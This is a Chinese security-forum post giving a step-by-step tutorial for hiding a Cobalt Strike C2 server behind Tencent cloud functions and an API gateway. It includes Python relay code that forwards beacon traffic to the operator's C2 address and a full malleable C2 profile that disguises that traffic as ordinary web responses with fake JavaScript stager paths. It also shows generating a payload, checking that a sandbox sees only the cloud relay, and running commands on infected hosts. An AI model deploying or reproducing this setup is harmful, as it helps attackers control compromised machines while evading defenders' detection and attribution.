安全矩阵

 找回密码
 立即注册
搜索
查看: 6002|回复: 0

为你的C2隐藏与加速

[复制链接]

23

主题

58

帖子

279

积分

中级会员

Rank: 3Rank: 3

积分
279
发表于 2020-12-15 19:06:24 | 显示全部楼层 |阅读模式
原文链接:为你的C2隐藏与加速一、原理介绍

这个技术最先是在今年的3月份国外提出的,他们利用 azure 对 C2 进行隐藏,国内也有相对应的 云函数厂商,于是我们就尝试使用云函数对我们的 C2 服务器进行隐藏
        这个技术的核心原理是利用云函数将我们的请求进行转发(和一些使用第三方应用进行转发是一样的);C2客户端发出的流量经过 云函数的转发,到达我们的C2服务器,达到隐藏的效果,并且因为云函数的服务器是自带 CDN 的,所以为我们的信息传递提供了加速的效果,但是转发的途中有损耗,不能像直接连接那样快,但是足够让我们感受到快乐了。
二、
具体实现
CS 一定要使用 4.1 版本(文末下载链接),4.0不行。
我们使用腾讯的 云函数 + API网关 进行具体的实现:
每个月免费的一百万次的请求和40万GB·s的资源请求,基本上叫做用不完了
云函数
创建测试云函数首先使用云函数进行创建:


函数的名字和语言的类型都可以自定义选择,你使用哪种语言进行开发,就选择哪种代码进行书写,这样我们创建好了一个云函数,里面的内容我们先不写,先创建好触发管理,然后确定能够访问到我们再书写转发代码,在触发管理中进行配置:



勾选 API网关触发 并且生成 API 网关,这个时候将我们的云函数发布,并且访问一下 API网关查看效果:
发布
访问:
可以看到我们访问网关后确实执行了我们的函数,我们在云函数的日志服务中也可以看到:

这样就确定我们能够通过API网关调用函数。

中转函数创建这里我贴出 python3 的中转代码:
  1. # -*- coding: utf8 -*-
  2. import json,requests,base64
  3. def main_handler(event, context):
  4.     C2='http://<C2服务器地址>' # 这里可以使用 HTTP、HTTPS~下角标~
  5.     path=event['path']
  6.     headers=event['headers']
  7.     print(event)
  8.     if event['httpMethod'] == 'GET' :
  9.         resp=requests.get(C2+path,headers=headers,verify=False)
  10.     else:
  11.         resp=requests.post(C2+path,data=event['body'],headers=headers,verify=False)
  12.         print(resp.headers)
  13.         print(resp.content)
  14.    
  15.     response={
  16.         "isBase64Encoded": True,
  17.         "statusCode": resp.status_code,
  18.         "headers": dict(resp.headers),
  19.         "body": str(base64.b64encode(resp.content))[2:-1]
  20.     }
  21.     return response
复制代码
在python3.6中请求 HTTPS的话会存在一些问题,所以我们在请求的主体中加上了 verify=False 当然,要是你使用的是 HTTP的话也没事,不用去掉一样能用,然后将上面的代码放到云函数中:

在这里我帮大家排个坑,使用域名的话,是不能套 CDN 的,会直接找不到,只能使用纯IP的方式
然后保存发布函数,再到触发条件里面把原来的 API网关触发删除,添加新的网关触发,因为上面我们为了测试是否能够访问到函数,没有勾选集成响应,集成响应不勾选的话,返回的数据格式是 JSON 的格式,对二进制数据不太支持:

然后我们还需要去配置 API 网关的默认路径:



然后直接完成配置


配置好云函数和 API网关 以后,我们去配置一下 C2 的服务器

新增 profile 文件这里是使用 Github上一个师傅的代码:
  1. set sample_name "kris_abao";

  2. set sleeptime "3000";
  3. set jitter    "0";
  4. set maxdns    "255";
  5. set useragent "Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/5.0)";

  6. http-get {

  7.     set uri "/api/getit";

  8.     client {
  9.         header "Accept" "*/*";
  10.         metadata {
  11.             base64;
  12.             prepend "SESSIONID=";
  13.             header "Cookie";
  14.         }
  15.     }

  16.     server {
  17.         header "Content-Type" "application/ocsp-response";
  18.         header "content-transfer-encoding" "binary";
  19.         header "Server" "Nodejs";
  20.         output {
  21.             base64;
  22.             print;
  23.         }
  24.     }
  25. }
  26. http-stager {  
  27.     set uri_x86 "/vue.min.js";
  28.     set uri_x64 "/bootstrap-2.min.js";
  29. }
  30. http-post {
  31.     set uri "/api/postit";
  32.     client {
  33.         header "Accept" "*/*";
  34.         id {
  35.             base64;
  36.             prepend "JSESSION=";
  37.             header "Cookie";
  38.         }
  39.         output {
  40.             base64;
  41.             print;
  42.         }
  43.     }

  44.     server {
  45.         header "Content-Type" "application/ocsp-response";
  46.         header "content-transfer-encoding" "binary";
  47.         header "Connection" "keep-alive";
  48.         output {
  49.             base64;
  50.             print;
  51.         }
  52.     }
  53. }
复制代码
创建好以后,将这个文件放到CS的根目录下:

然后启动 CS 并且加载配置文件,在4.1运行,在4.0中会有玄学问题:

本地打开 C2 客户端,然后监听一下本地的80端口,查看web日志,看看是否可以访问得到:
配置监听:
复制一下路径,在监听中填写,监听的类型根据你在函数中填写的来选,如果使用的HTTPS的话就选 HTTPS,使用HTTP就使用HTTP:


在 C2 客户端的 WEB日志可以看到请求:



三、
上线测试

生成马子,并且测试上线:

然后我们将马子放到微步沙箱上进行查看:

已经将我们的信息隐藏起来,只能看到云函数的信息,并且我们的流量会一直从云函数上转发,为了测试我们将 回连的时间设置为 5s 查看一下云函数日志的信息:

可以发现对应的时间间隔为 5s 说明我们的流量都是中转了的,在日志中的敏感信息除了自己的本机的IP会被记录以外,不会涉及到其他任何信息,可以将自己的IP进行代理做到隐藏。
除此以外,还有一个非常离谱的东西,就是我们使用的时候,你会发现这个 IP 一直变换,这个是正常的,不用紧张可以正常使用,但是你要是用4.0的话就没法执行命令了:

IP 问题上面所提到的 IP 一直变换是由于腾讯云自己的 CDN 的缘故,我们上线的机器的外网IP全部都是腾讯云的,如下:




这样我们可以使用一些其他的方式获得当前主机的 IP 例如使用 curl命令:
  1. shell curl ident.me
复制代码




参考链接

Fully Functional C2(https://www.dropbox.com/s/2yo4uud6fgbe1t5/Fully Functional C2.pptx)


回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-9-20 18:50 , Processed in 0.013658 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表